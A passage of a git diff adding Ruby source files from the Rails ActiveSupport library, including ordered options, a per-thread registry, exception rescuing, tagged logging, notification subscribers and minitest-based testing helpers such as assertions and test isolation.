+ # Usually key value pairs are handled something like this:
+ #
+ # h = {}
+ # h[:boy] = 'John'
+ # h[:girl] = 'Mary'
+ # h[:boy] # => 'John'
+ # h[:girl] # => 'Mary'
+ #
+ # Using +OrderedOptions+, the above code could be reduced to:
+ #
+ # h = ActiveSupport::OrderedOptions.new
+ # h.boy = 'John'
+ # h.girl = 'Mary'
+ # h.boy # => 'John'
+ # h.girl # => 'Mary'
+ class OrderedOptions < Hash
+ alias_method :_get, :[] # preserve the original #[] method
+ protected :_get # make it protected
+
+ def []=(key, value)
+ super(key.to_sym, value)
+ end
+
+ def [](key)
+ super(key.to_sym)
+ end
+
+ def method_missing(name, *args)
+ name_string = name.to_s
+ if name_string.chomp!('=')
+ self[name_string] = args.first
+ else
+ self[name]
+ end
+ end
+
+ def respond_to_missing?(name, include_private)
+ true
+ end
+ end
+
+ class InheritableOptions < OrderedOptions
+ def initialize(parent = nil)
+ if parent.kind_of?(OrderedOptions)
+ # use the faster _get when dealing with OrderedOptions
+ super() { |h,k| parent._get(k) }
+ elsif parent
+ super() { |h,k| parent[k] }
+ else
+ super()
+ end
+ end
+
+ def inheritable_copy
+ self.class.new(self)
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/per_thread_registry.rb b/activesupport/lib/active_support/per_thread_registry.rb
new file mode 100644
index 0000000..aa682fb
--- /dev/null
+++ b/activesupport/lib/active_support/per_thread_registry.rb
@@ -0,0 +1,52 @@
+module ActiveSupport
+ # This module is used to encapsulate access to thread local variables.
+ #
+ # Instead of polluting the thread locals namespace:
+ #
+ # Thread.current[:connection_handler]
+ #
+ # you define a class that extends this module:
+ #
+ # module ActiveRecord
+ # class RuntimeRegistry
+ # extend ActiveSupport::PerThreadRegistry
+ #
+ # attr_accessor :connection_handler
+ # end
+ # end
+ #
+ # and invoke the declared instance accessors as class methods. So
+ #
+ # ActiveRecord::RuntimeRegistry.connection_handler = connection_handler
+ #
+ # sets a connection handler local to the current thread, and
+ #
+ # ActiveRecord::RuntimeRegistry.connection_handler
+ #
+ # returns a connection handler local to the current thread.
+ #
+ # This feature is accomplished by instantiating the class and storing the
+ # instance as a thread local keyed by the class name. In the example above
+ # a key "ActiveRecord::RuntimeRegistry" is stored in <tt>Thread.current</tt>.
+ # The class methods proxy to said thread local instance.
+ #
+ # If the class has an initializer, it must accept no arguments.
+ module PerThreadRegistry
+ protected
+
+ def method_missing(name, *args, &block) # :nodoc:
+ # Caches the method definition as a singleton method of the receiver.
+ define_singleton_method(name) do |*a, &b|
+ per_thread_registry_instance.public_send(name, *a, &b)
+ end
+
+ send(name, *args, &block)
+ end
+
+ private
+
+ def per_thread_registry_instance
+ Thread.current[name] ||= new
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/proxy_object.rb b/activesupport/lib/active_support/proxy_object.rb
new file mode 100644
index 0000000..20a0fd8
--- /dev/null
+++ b/activesupport/lib/active_support/proxy_object.rb
@@ -0,0 +1,13 @@
+module ActiveSupport
+ # A class with no predefined methods that behaves similarly to Builder's
+ # BlankSlate. Used for proxy classes.
+ class ProxyObject < ::BasicObject
+ undef_method :==
+ undef_method :equal?
+
+ # Let ActiveSupport::ProxyObject at least raise exceptions.
+ def raise(*args)
+ ::Object.send(:raise, *args)
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/rails.rb b/activesupport/lib/active_support/rails.rb
new file mode 100644
index 0000000..b05c3ff
--- /dev/null
+++ b/activesupport/lib/active_support/rails.rb
@@ -0,0 +1,27 @@
+# This is private interface.
+#
+# Rails components cherry pick from Active Support as needed, but there are a
+# few features that are used for sure some way or another and it is not worth
+# to put individual requires absolutely everywhere. Think blank? for example.
+#
+# This file is loaded by every Rails component except Active Support itself,
+# but it does not belong to the Rails public interface. It is internal to
+# Rails and can change anytime.
+
+# Defines Object#blank? and Object#present?.
+require 'active_support/core_ext/object/blank'
+
+# Rails own autoload, eager_load, etc.
+require 'active_support/dependencies/autoload'
+
+# Support for ClassMethods and the included macro.
+require 'active_support/concern'
+
+# Defines Class#class_attribute.
+require 'active_support/core_ext/class/attribute'
+
+# Defines Module#delegate.
+require 'active_support/core_ext/module/delegation'
+
+# Defines ActiveSupport::Deprecation.
+require 'active_support/deprecation'
diff --git a/activesupport/lib/active_support/railtie.rb b/activesupport/lib/active_support/railtie.rb
new file mode 100644
index 0000000..133aa6a
--- /dev/null
+++ b/activesupport/lib/active_support/railtie.rb
@@ -0,0 +1,46 @@
+require "active_support"
+require "active_support/i18n_railtie"
+
+module ActiveSupport
+ class Railtie < Rails::Railtie # :nodoc:
+ config.active_support = ActiveSupport::OrderedOptions.new
+
+ config.eager_load_namespaces << ActiveSupport
+
+ initializer "active_support.deprecation_behavior" do |app|
+ if deprecation = app.config.active_support.deprecation
+ ActiveSupport::Deprecation.behavior = deprecation
+ end
+ end
+
+ # Sets the default value for Time.zone
+ # If assigned value cannot be matched to a TimeZone, an exception will be raised.
+ initializer "active_support.initialize_time_zone" do |app|
+ require 'active_support/core_ext/time/zones'
+ zone_default = Time.find_zone!(app.config.time_zone)
+
+ unless zone_default
+ raise 'Value assigned to config.time_zone not recognized. ' \
+ 'Run "rake -D time" for a list of tasks for finding appropriate time zone names.'
+ end
+
+ Time.zone_default = zone_default
+ end
+
+ # Sets the default week start
+ # If assigned value is not a valid day symbol (e.g. :sunday, :monday, ...), an exception will be raised.
+ initializer "active_support.initialize_beginning_of_week" do |app|
+ require 'active_support/core_ext/date/calculations'
+ beginning_of_week_default = Date.find_beginning_of_week!(app.config.beginning_of_week)
+
+ Date.beginning_of_week_default = beginning_of_week_default
+ end
+
+ initializer "active_support.set_configs" do |app|
+ app.config.active_support.each do |k, v|
+ k = "#{k}="
+ ActiveSupport.send(k, v) if ActiveSupport.respond_to? k
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/rescuable.rb b/activesupport/lib/active_support/rescuable.rb
new file mode 100644
index 0000000..9a038df
--- /dev/null
+++ b/activesupport/lib/active_support/rescuable.rb
@@ -0,0 +1,120 @@
+require 'active_support/concern'
+require 'active_support/core_ext/class/attribute'
+require 'active_support/core_ext/proc'
+require 'active_support/core_ext/string/inflections'
+require 'active_support/core_ext/array/extract_options'
+
+module ActiveSupport
+ # Rescuable module adds support for easier exception handling.
+ module Rescuable
+ extend Concern
+
+ included do
+ class_attribute :rescue_handlers
+ self.rescue_handlers = []
+ end
+
+ module ClassMethods
+ # Rescue exceptions raised in controller actions.
+ #
+ # <tt>rescue_from</tt> receives a series of exception classes or class
+ # names, and a trailing <tt>:with</tt> option with the name of a method
+ # or a Proc object to be called to handle them. Alternatively a block can
+ # be given.
+ #
+ # Handlers that take one argument will be called with the exception, so
+ # that the exception can be inspected when dealing with it.
+ #
+ # Handlers are inherited. They are searched from right to left, from
+ # bottom to top, and up the hierarchy. The handler of the first class for
+ # which <tt>exception.is_a?(klass)</tt> holds true is the one invoked, if
+ # any.
+ #
+ # class ApplicationController < ActionController::Base
+ # rescue_from User::NotAuthorized, with: :deny_access # self defined exception
+ # rescue_from ActiveRecord::RecordInvalid, with: :show_errors
+ #
+ # rescue_from 'MyAppError::Base' do |exception|
+ # render xml: exception, status: 500
+ # end
+ #
+ # protected
+ # def deny_access
+ # ...
+ # end
+ #
+ # def show_errors(exception)
+ # exception.record.new_record? ? ...
+ # end
+ # end
+ #
+ # Exceptions raised inside exception handlers are not propagated up.
+ def rescue_from(*klasses, &block)
+ options = klasses.extract_options!
+
+ unless options.has_key?(:with)
+ if block_given?
+ options[:with] = block
+ else
+ raise ArgumentError, "Need a handler. Supply an options hash that has a :with key as the last argument."
+ end
+ end
+
+ klasses.each do |klass|
+ key = if klass.is_a?(Class) && klass <= Exception
+ klass.name
+ elsif klass.is_a?(String)
+ klass
+ else
+ raise ArgumentError, "#{klass} is neither an Exception nor a String"
+ end
+
+ # put the new handler at the end because the list is read in reverse
+ self.rescue_handlers += [[key, options[:with]]]
+ end
+ end
+ end
+
+ # Tries to rescue the exception by looking up and calling a registered handler.
+ def rescue_with_handler(exception)
+ if handler = handler_for_rescue(exception)
+ handler.arity != 0 ? handler.call(exception) : handler.call
+ true # don't rely on the return value of the handler
+ end
+ end
+
+ def handler_for_rescue(exception)
+ # We go from right to left because pairs are pushed onto rescue_handlers
+ # as rescue_from declarations are found.
+ _, rescuer = self.class.rescue_handlers.reverse.detect do |klass_name, handler|
+ # The purpose of allowing strings in rescue_from is to support the
+ # declaration of handler associations for exception classes whose
+ # definition is yet unknown.
+ #
+ # Since this loop needs the constants it would be inconsistent to
+ # assume they should exist at this point. An early raised exception
+ # could trigger some other handler and the array could include
+ # precisely a string whose corresponding constant has not yet been
+ # seen. This is why we are tolerant to unknown constants.
+ #
+ # Note that this tolerance only matters if the exception was given as
+ # a string, otherwise a NameError will be raised by the interpreter
+ # itself when rescue_from CONSTANT is executed.
+ klass = self.class.const_get(klass_name) rescue nil
+ klass ||= klass_name.constantize rescue nil
+ exception.is_a?(klass) if klass
+ end
+
+ case rescuer
+ when Symbol
+ method(rescuer)
+ when Proc
+ if rescuer.arity == 0
+ Proc.new { instance_exec(&rescuer) }
+ else
+ Proc.new { |_exception| instance_exec(_exception, &rescuer) }
+ end
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/string_inquirer.rb b/activesupport/lib/active_support/string_inquirer.rb
new file mode 100644
index 0000000..45271c9
--- /dev/null
+++ b/activesupport/lib/active_support/string_inquirer.rb
@@ -0,0 +1,26 @@
+module ActiveSupport
+ # Wrapping a string in this class gives you a prettier way to test
+ # for equality. The value returned by <tt>Rails.env</tt> is wrapped
+ # in a StringInquirer object so instead of calling this:
+ #
+ # Rails.env == 'production'
+ #
+ # you can call this:
+ #
+ # Rails.env.production?
+ class StringInquirer < String
+ private
+
+ def respond_to_missing?(method_name, include_private = false)
+ method_name[-1] == '?'
+ end
+
+ def method_missing(method_name, *arguments)
+ if method_name[-1] == '?'
+ self == method_name[0..-2]
+ else
+ super
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/subscriber.rb b/activesupport/lib/active_support/subscriber.rb
new file mode 100644
index 0000000..34c6f90
--- /dev/null
+++ b/activesupport/lib/active_support/subscriber.rb
@@ -0,0 +1,93 @@
+require 'active_support/per_thread_registry'
+
+module ActiveSupport
+ # ActiveSupport::Subscriber is an object set to consume
+ # ActiveSupport::Notifications. The subscriber dispatches notifications to
+ # a registered object based on its given namespace.
+ #
+ # An example would be Active Record subscriber responsible for collecting
+ # statistics about queries:
+ #
+ # module ActiveRecord
+ # class StatsSubscriber < ActiveSupport::Subscriber
+ # def sql(event)
+ # Statsd.timing("sql.#{event.payload[:name]}", event.duration)
+ # end
+ # end
+ # end
+ #
+ # And it's finally registered as:
+ #
+ # ActiveRecord::StatsSubscriber.attach_to :active_record
+ #
+ # Since we need to know all instance methods before attaching the log
+ # subscriber, the line above should be called after your subscriber definition.
+ #
+ # After configured, whenever a "sql.active_record" notification is published,
+ # it will properly dispatch the event (ActiveSupport::Notifications::Event) to
+ # the +sql+ method.
+ class Subscriber
+ class << self
+
+ # Attach the subscriber to a namespace.
+ def attach_to(namespace, subscriber=new, notifier=ActiveSupport::Notifications)
+ subscribers << subscriber
+
+ subscriber.public_methods(false).each do |event|
+ next if %w{ start finish }.include?(event.to_s)
+
+ notifier.subscribe("#{event}.#{namespace}", subscriber)
+ end
+ end
+
+ def subscribers
+ @@subscribers ||= []
+ end
+ end
+
+ def initialize
+ @queue_key = [self.class.name, object_id].join "-"
+ super
+ end
+
+ def start(name, id, payload)
+ e = ActiveSupport::Notifications::Event.new(name, Time.now, nil, id, payload)
+ parent = event_stack.last
+ parent << e if parent
+
+ event_stack.push e
+ end
+
+ def finish(name, id, payload)
+ finished = Time.now
+ event = event_stack.pop
+ event.end = finished
+ event.payload.merge!(payload)
+
+ method = name.split('.').first
+ send(method, event)
+ end
+
+ private
+
+ def event_stack
+ SubscriberQueueRegistry.get_queue(@queue_key)
+ end
+ end
+
+ # This is a registry for all the event stacks kept for subscribers.
+ #
+ # See the documentation of <tt>ActiveSupport::PerThreadRegistry</tt>
+ # for further details.
+ class SubscriberQueueRegistry # :nodoc:
+ extend PerThreadRegistry
+
+ def initialize
+ @registry = {}
+ end
+
+ def get_queue(queue_key)
+ @registry[queue_key] ||= []
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/tagged_logging.rb b/activesupport/lib/active_support/tagged_logging.rb
new file mode 100644
index 0000000..18bc919
--- /dev/null
+++ b/activesupport/lib/active_support/tagged_logging.rb
@@ -0,0 +1,75 @@
+require 'active_support/core_ext/object/blank'
+require 'logger'
+require 'active_support/logger'
+
+module ActiveSupport
+ # Wraps any standard Logger object to provide tagging capabilities.
+ #
+ # logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT))
+ # logger.tagged('BCX') { logger.info 'Stuff' } # Logs "[BCX] Stuff"
+ # logger.tagged('BCX', "Jason") { logger.info 'Stuff' } # Logs "[BCX] [Jason] Stuff"
+ # logger.tagged('BCX') { logger.tagged('Jason') { logger.info 'Stuff' } } # Logs "[BCX] [Jason] Stuff"
+ #
+ # This is used by the default Rails.logger as configured by Railties to make
+ # it easy to stamp log lines with subdomains, request ids, and anything else
+ # to aid debugging of multi-user production applications.
+ module TaggedLogging
+ module Formatter # :nodoc:
+ # This method is invoked when a log event occurs.
+ def call(severity, timestamp, progname, msg)
+ super(severity, timestamp, progname, "#{tags_text}#{msg}")
+ end
+
+ def tagged(*tags)
+ new_tags = push_tags(*tags)
+ yield self
+ ensure
+ pop_tags(new_tags.size)
+ end
+
+ def push_tags(*tags)
+ tags.flatten.reject(&:blank?).tap do |new_tags|
+ current_tags.concat new_tags
+ end
+ end
+
+ def pop_tags(size = 1)
+ current_tags.pop size
+ end
+
+ def clear_tags!
+ current_tags.clear
+ end
+
+ def current_tags
+ Thread.current[:activesupport_tagged_logging_tags] ||= []
+ end
+
+ private
+ def tags_text
+ tags = current_tags
+ if tags.any?
+ tags.collect { |tag| "[#{tag}] " }.join
+ end
+ end
+ end
+
+ def self.new(logger)
+ # Ensure we set a default formatter so we aren't extending nil!
+ logger.formatter ||= ActiveSupport::Logger::SimpleFormatter.new
+ logger.formatter.extend Formatter
+ logger.extend(self)
+ end
+
+ delegate :push_tags, :pop_tags, :clear_tags!, to: :formatter
+
+ def tagged(*tags)
+ formatter.tagged(*tags) { yield self }
+ end
+
+ def flush
+ clear_tags!
+ super if defined?(super)
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/test_case.rb b/activesupport/lib/active_support/test_case.rb
new file mode 100644
index 0000000..8b392c3
--- /dev/null
+++ b/activesupport/lib/active_support/test_case.rb
@@ -0,0 +1,67 @@
+gem 'minitest' # make sure we get the gem, not stdlib
+require 'minitest/unit'
+require 'active_support/testing/tagged_logging'
+require 'active_support/testing/setup_and_teardown'
+require 'active_support/testing/assertions'
+require 'active_support/testing/deprecation'
+require 'active_support/testing/pending'
+require 'active_support/testing/declarative'
+require 'active_support/testing/isolation'
+require 'active_support/testing/constant_lookup'
+require 'active_support/core_ext/kernel/reporting'
+require 'active_support/deprecation'
+
+begin
+ silence_warnings { require 'mocha/setup' }
+rescue LoadError
+end
+
+module ActiveSupport
+ class TestCase < ::MiniTest::Unit::TestCase
+ Assertion = MiniTest::Assertion
+ alias_method :method_name, :__name__
+
+ $tags = {}
+ def self.for_tag(tag)
+ yield if $tags[tag]
+ end
+
+ # FIXME: we have tests that depend on run order, we should fix that and
+ # remove this method.
+ def self.test_order # :nodoc:
+ :sorted
+ end
+
+ include ActiveSupport::Testing::TaggedLogging
+ include ActiveSupport::Testing::SetupAndTeardown
+ include ActiveSupport::Testing::Assertions
+ include ActiveSupport::Testing::Deprecation
+ include ActiveSupport::Testing::Pending
+ extend ActiveSupport::Testing::Declarative
+
+ # test/unit backwards compatibility methods
+ alias :assert_raise :assert_raises
+ alias :assert_not_empty :refute_empty
+ alias :assert_not_equal :refute_equal
+ alias :assert_not_in_delta :refute_in_delta
+ alias :assert_not_in_epsilon :refute_in_epsilon
+ alias :assert_not_includes :refute_includes
+ alias :assert_not_instance_of :refute_instance_of
+ alias :assert_not_kind_of :refute_kind_of
+ alias :assert_no_match :refute_match
+ alias :assert_not_nil :refute_nil
+ alias :assert_not_operator :refute_operator
+ alias :assert_not_predicate :refute_predicate
+ alias :assert_not_respond_to :refute_respond_to
+ alias :assert_not_same :refute_same
+
+ # Fails if the block raises an exception.
+ #
+ # assert_nothing_raised do
+ # ...
+ # end
+ def assert_nothing_raised(*args)
+ yield
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/testing/assertions.rb b/activesupport/lib/active_support/testing/assertions.rb
new file mode 100644
index 0000000..175f7ff
--- /dev/null
+++ b/activesupport/lib/active_support/testing/assertions.rb
@@ -0,0 +1,127 @@
+require 'active_support/core_ext/object/blank'
+
+module ActiveSupport
+ module Testing
+ module Assertions
+ # Assert that an expression is not truthy. Passes if <tt>object</tt> is
+ # +nil+ or +false+. "Truthy" means "considered true in a conditional"
+ # like <tt>if foo</tt>.
+ #
+ # assert_not nil # => true
+ # assert_not false # => true
+ # assert_not 'foo' # => 'foo' is not nil or false
+ #
+ # An error message can be specified.
+ #
+ # assert_not foo, 'foo should be false'
+ def assert_not(object, message = nil)
+ message ||= "Expected #{mu_pp(object)} to be nil or false"
+ assert !object, message
+ end
+
+ # Test numeric difference between the return value of an expression as a
+ # result of what is evaluated in the yielded block.
+ #
+ # assert_difference 'Article.count' do
+ # post :create, article: {...}
+ # end
+ #
+ # An arbitrary expression is passed in and evaluated.
+ #
+ # assert_difference 'assigns(:article).comments(:reload).size' do
+ # post :create, comment: {...}
+ # end
+ #
+ # An arbitrary positive or negative difference can be specified.
+ # The default is <tt>1</tt>.
+ #
+ # assert_difference 'Article.count', -1 do
+ # post :delete, id: ...
+ # end
+ #
+ # An array of expressions can also be passed in and evaluated.
+ #
+ # assert_difference [ 'Article.count', 'Post.count' ], 2 do
+ # post :create, article: {...}
+ # end
+ #
+ # A lambda or a list of lambdas can be passed in and evaluated:
+ #
+ # assert_difference ->{ Article.count }, 2 do
+ # post :create, article: {...}
+ # end
+ #
+ # assert_difference [->{ Article.count }, ->{ Post.count }], 2 do
+ # post :create, article: {...}
+ # end
+ #
+ # An error message can be specified.
+ #
+ # assert_difference 'Article.count', -1, 'An Article should be destroyed' do
+ # post :delete, id: ...
+ # end
+ def assert_difference(expression, difference = 1, message = nil, &block)
+ expressions = Array(expression)
+
+ exps = expressions.map { |e|
+ e.respond_to?(:call) ? e : lambda { eval(e, block.binding) }
+ }
+ before = exps.map { |e| e.call }
+
+ yield
+
+ expressions.zip(exps).each_with_index do |(code, e), i|
+ error = "#{code.inspect} didn't change by #{difference}"
+ error = "#{message}.\n#{error}" if message
+ assert_equal(before[i] + difference, e.call, error)
+ end
+ end
+
+ # Assertion that the numeric result of evaluating an expression is not
+ # changed before and after invoking the passed in block.
+ #
+ # assert_no_difference 'Article.count' do
+ # post :create, article: invalid_attributes
+ # end
+ #
+ # An error message can be specified.
+ #
+ # assert_no_difference 'Article.count', 'An Article should not be created' do
+ # post :create, article: invalid_attributes
+ # end
+ def assert_no_difference(expression, message = nil, &block)
+ assert_difference expression, 0, message, &block
+ end
+
+ # Test if an expression is blank. Passes if <tt>object.blank?</tt>
+ # is +true+.
+ #
+ # assert_blank [] # => true
+ # assert_blank [[]] # => [[]] is not blank
+ #
+ # An error message can be specified.
+ #
+ # assert_blank [], 'this should be blank'
+ def assert_blank(object, message=nil)
+ ActiveSupport::Deprecation.warn('"assert_blank" is deprecated. Please use "assert object.blank?" instead')
+ message ||= "#{object.inspect} is not blank"
+ assert object.blank?, message
+ end
+
+ # Test if an expression is not blank. Passes if <tt>object.present?</tt>
+ # is +true+.
+ #
+ # assert_present({ data: 'x' }) # => true
+ # assert_present({}) # => {} is blank
+ #
+ # An error message can be specified.
+ #
+ # assert_present({ data: 'x' }, 'this should not be blank')
+ def assert_present(object, message=nil)
+ ActiveSupport::Deprecation.warn('"assert_present" is deprecated. Please use "assert object.present?" instead')
+ message ||= "#{object.inspect} is blank"
+ assert object.present?, message
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/testing/autorun.rb b/activesupport/lib/active_support/testing/autorun.rb
new file mode 100644
index 0000000..c446adc
--- /dev/null
+++ b/activesupport/lib/active_support/testing/autorun.rb
@@ -0,0 +1,5 @@
+gem 'minitest'
+
+require 'minitest/unit'
+
+MiniTest::Unit.autorun
diff --git a/activesupport/lib/active_support/testing/constant_lookup.rb b/activesupport/lib/active_support/testing/constant_lookup.rb
new file mode 100644
index 0000000..1b2a75c
--- /dev/null
+++ b/activesupport/lib/active_support/testing/constant_lookup.rb
@@ -0,0 +1,54 @@
+require "active_support/concern"
+require "active_support/inflector"
+
+module ActiveSupport
+ module Testing
+ # Resolves a constant from a minitest spec name.
+ #
+ # Given the following spec-style test:
+ #
+ # describe WidgetsController, :index do
+ # describe "authenticated user" do
+ # describe "returns widgets" do
+ # it "has a controller that exists" do
+ # assert_kind_of WidgetsController, @controller
+ # end
+ # end
+ # end
+ # end
+ #
+ # The test will have the following name:
+ #
+ # "WidgetsController::index::authenticated user::returns widgets"
+ #
+ # The constant WidgetsController can be resolved from the name.
+ # The following code will resolve the constant:
+ #
+ # controller = determine_constant_from_test_name(name) do |constant|
+ # Class === constant && constant < ::ActionController::Metal
+ # end
+ module ConstantLookup
+ extend ::ActiveSupport::Concern
+
+ module ClassMethods # :nodoc:
+ def determine_constant_from_test_name(test_name)
+ names = test_name.split "::"
+ while names.size > 0 do
+ names.last.sub!(/Test$/, "")
+ begin
+ constant = names.join("::").constantize
+ break(constant) if yield(constant)
+ rescue NoMethodError # subclass of NameError
+ raise
+ rescue NameError
+ # Constant wasn't found, move on
+ ensure
+ names.pop
+ end
+ end
+ end
+ end
+
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/testing/declarative.rb b/activesupport/lib/active_support/testing/declarative.rb
new file mode 100644
index 0000000..508e372
--- /dev/null
+++ b/activesupport/lib/active_support/testing/declarative.rb
@@ -0,0 +1,40 @@
+module ActiveSupport
+ module Testing
+ module Declarative
+
+ def self.extended(klass) #:nodoc:
+ klass.class_eval do
+
+ unless method_defined?(:describe)
+ def self.describe(text)
+ class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
+ def self.name
+ "#{text}"
+ end
+ RUBY_EVAL
+ end
+ end
+
+ end
+ end
+
+ unless defined?(Spec)
+ # test "verify something" do
+ # ...
+ # end
+ def test(name, &block)
+ test_name = "test_#{name.gsub(/\s+/,'_')}".to_sym
+ defined = instance_method(test_name) rescue false
+ raise "#{test_name} is already defined in #{self}" if defined
+ if block_given?
+ define_method(test_name, &block)
+ else
+ define_method(test_name) do
+ flunk "No implementation provided for #{name}"
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/testing/deprecation.rb b/activesupport/lib/active_support/testing/deprecation.rb
new file mode 100644
index 0000000..a834290
--- /dev/null
+++ b/activesupport/lib/active_support/testing/deprecation.rb
@@ -0,0 +1,36 @@
+require 'active_support/deprecation'
+
+module ActiveSupport
+ module Testing
+ module Deprecation #:nodoc:
+ def assert_deprecated(match = nil, &block)
+ result, warnings = collect_deprecations(&block)
+ assert !warnings.empty?, "Expected a deprecation warning within the block but received none"
+ if match
+ match = Regexp.new(Regexp.escape(match)) unless match.is_a?(Regexp)
+ assert warnings.any? { |w| w =~ match }, "No deprecation warning matched #{match}: #{warnings.join(', ')}"
+ end
+ result
+ end
+
+ def assert_not_deprecated(&block)
+ result, deprecations = collect_deprecations(&block)
+ assert deprecations.empty?, "Expected no deprecation warning within the block but received #{deprecations.size}: \n #{deprecations * "\n "}"
+ result
+ end
+
+ private
+ def collect_deprecations
+ old_behavior = ActiveSupport::Deprecation.behavior
+ deprecations = []
+ ActiveSupport::Deprecation.behavior = Proc.new do |message, callstack|
+ deprecations << message
+ end
+ result = yield
+ [result, deprecations]
+ ensure
+ ActiveSupport::Deprecation.behavior = old_behavior
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/testing/isolation.rb b/activesupport/lib/active_support/testing/isolation.rb
new file mode 100644
index 0000000..d70d971
--- /dev/null
+++ b/activesupport/lib/active_support/testing/isolation.rb
@@ -0,0 +1,137 @@
+require 'rbconfig'
+require 'minitest/parallel_each'
+
+module ActiveSupport
+ module Testing
+ class RemoteError < StandardError
+
+ attr_reader :message, :backtrace
+
+ def initialize(exception)
+ @message = "caught #{exception.class.name}: #{exception.message}"
+ @backtrace = exception.backtrace
+ end
+ end
+
+ class ProxyTestResult
+ def initialize(calls = [])
+ @calls = calls
+ end
+
+ def add_error(e)
+ e = Test::Unit::Error.new(e.test_name, RemoteError.new(e.exception))
+ @calls << [:add_error, e]
+ end
+
+ def __replay__(result)
+ @calls.each do |name, args|
+ result.send(name, *args)
+ end
+ end
+
+ def marshal_dump
+ @calls
+ end
+
+ def marshal_load(calls)
+ initialize(calls)
+ end
+
+ def method_missing(name, *args)
+ @calls << [name, args]
+ end
+ end
+
+ module Isolation
+ require 'thread'
+
+ def self.included(klass) #:nodoc:
+ klass.extend(Module.new {
+ def test_methods
+ ParallelEach.new super
+ end
+ })
+ end
+
+ def self.forking_env?
+ !ENV["NO_FORK"] && ((RbConfig::CONFIG['host_os'] !~ /mswin|mingw/) && (RUBY_PLATFORM !~ /java/))
+ end
+
+ @@class_setup_mutex = Mutex.new
+
+ def _run_class_setup # class setup method should only happen in parent
+ @@class_setup_mutex.synchronize do
+ unless defined?(@@ran_class_setup) || ENV['ISOLATION_TEST']
+ self.class.setup if self.class.respond_to?(:setup)
+ @@ran_class_setup = true
+ end
+ end
+ end
+
+ def run(runner)
+ _run_class_setup
+
+ serialized = run_in_isolation do |isolated_runner|
+ super(isolated_runner)
+ end
+
+ retval, proxy = Marshal.load(serialized)
+ proxy.__replay__(runner)
+ retval
+ end
+
+ module Forking
+ def run_in_isolation(&blk)
+ read, write = IO.pipe
+
+ pid = fork do
+ read.close
+ proxy = ProxyTestResult.new
+ retval = yield proxy
+ write.puts [Marshal.dump([retval, proxy])].pack("m")
+ exit!
+ end
+
+ write.close
+ result = read.read
+ Process.wait2(pid)
+ return result.unpack("m")[0]
+ end
+ end
+
+ module Subprocess
+ ORIG_ARGV = ARGV.dup unless defined?(ORIG_ARGV)
+
+ # Crazy H4X to get this working in windows / jruby with
+ # no forking.
+ def run_in_isolation(&blk)
+ require "tempfile"
+
+ if ENV["ISOLATION_TEST"]
+ proxy = ProxyTestResult.new
+ retval = yield proxy
+ File.open(ENV["ISOLATION_OUTPUT"], "w") do |file|
+ file.puts [Marshal.dump([retval, proxy])].pack("m")
+ end
+ exit!
+ else
+ Tempfile.open("isolation") do |tmpfile|
+ ENV["ISOLATION_TEST"] = @method_name
+ ENV["ISOLATION_OUTPUT"] = tmpfile.path
+
+ load_paths = $-I.map {|p| "-I\"#{File.expand_path(p)}\"" }.join(" ")
+ `#{Gem.ruby} #{load_paths} #{$0} #{ORIG_ARGV.join(" ")} -t\"#{self.class}\"`
+
+ ENV.delete("ISOLATION_TEST")
+ ENV.delete("ISOLATION_OUTPUT")
+
+ return tmpfile.read.unpack("m")[0]
+ end
+ end
+ end
+ end
+
+ include forking_env? ? Forking : Subprocess
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/testing/pending.rb b/activesupport/lib/active_support/testing/pending.rb
new file mode 100644
index 0000000..b04bbbb
--- /dev/null
+++ b/activesupport/lib/active_support/testing/pending.rb
@@ -0,0 +1,14 @@
+require 'active_support/deprecation'
+
+module ActiveSupport
+ module Testing
+ module Pending # :nodoc:
+ unless defined?(Spec)
+ def pending(description = "", &block)
+ ActiveSupport::Deprecation.warn("#pending is deprecated and will be removed in Rails 4.1, please use #skip instead.")
+ skip(description.blank? ? nil : description)
+ end
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/testing/setup_and_teardown.rb b/activesupport/lib/active_support/testing/setup_and_teardown.rb
new file mode 100644
index 0000000..a65148c
--- /dev/null
+++ b/activesupport/lib/active_support/testing/setup_and_teardown.rb
@@ -0,0 +1,35 @@
+require 'active_support/concern'
+require 'active_support/callbacks'
+
+module ActiveSupport
+ module Testing
+ module SetupAndTeardown
+ extend ActiveSupport::Concern
+
+ included do
+ include ActiveSupport::Callbacks
+ define_callbacks :setup, :teardown
+ end
+
+ module ClassMethods
+ def setup(*args, &block)
+ set_callback(:setup, :before, *args, &block)
+ end
+
+ def teardown(*args, &block)
+ set_callback(:teardown, :after, *args, &block)
+ end
+ end
+
+ def before_setup
+ super
+ run_callbacks :setup
+ end
+
+ def after_teardown
+ run_callbacks :teardown
+ super
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/testing/tagged_logging.rb b/activesupport/lib/active_support/testing/tagged_logging.rb
new file mode 100644
index 0000000..9d43eb1
--- /dev/null
+++ b/activesupport/lib/active_support/testing/tagged_logging.rb
@@ -0,0 +1,25 @@
+module ActiveSupport
+ module Testing
+ # Logs a "PostsControllerTest: test name" heading before each test to
+ # make test.log easier to search and follow along with.
+ module TaggedLogging #:nodoc:
+ attr_writer :tagged_logger
+
+ def before_setup
+ if tagged_logger
+ heading = "#{self.class}: #{__name__}"
+ divider = '-' * heading.size
+ tagged_logger.info divider
+ tagged_logger.info heading
+ tagged_logger.info divider
+ end
+ super
+ end
+
+ private
+ def tagged_logger
+ @tagged_logger ||= (defined?(Rails.logger) && Rails.logger)
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/time.rb b/activesupport/lib/active_support/time.rb
new file mode 100644
index 0000000..92a5939
--- /dev/null
+++ b/activesupport/lib/active_support/time.rb
@@ -0,0 +1,20 @@
+require 'active_support'
+
+module ActiveSupport
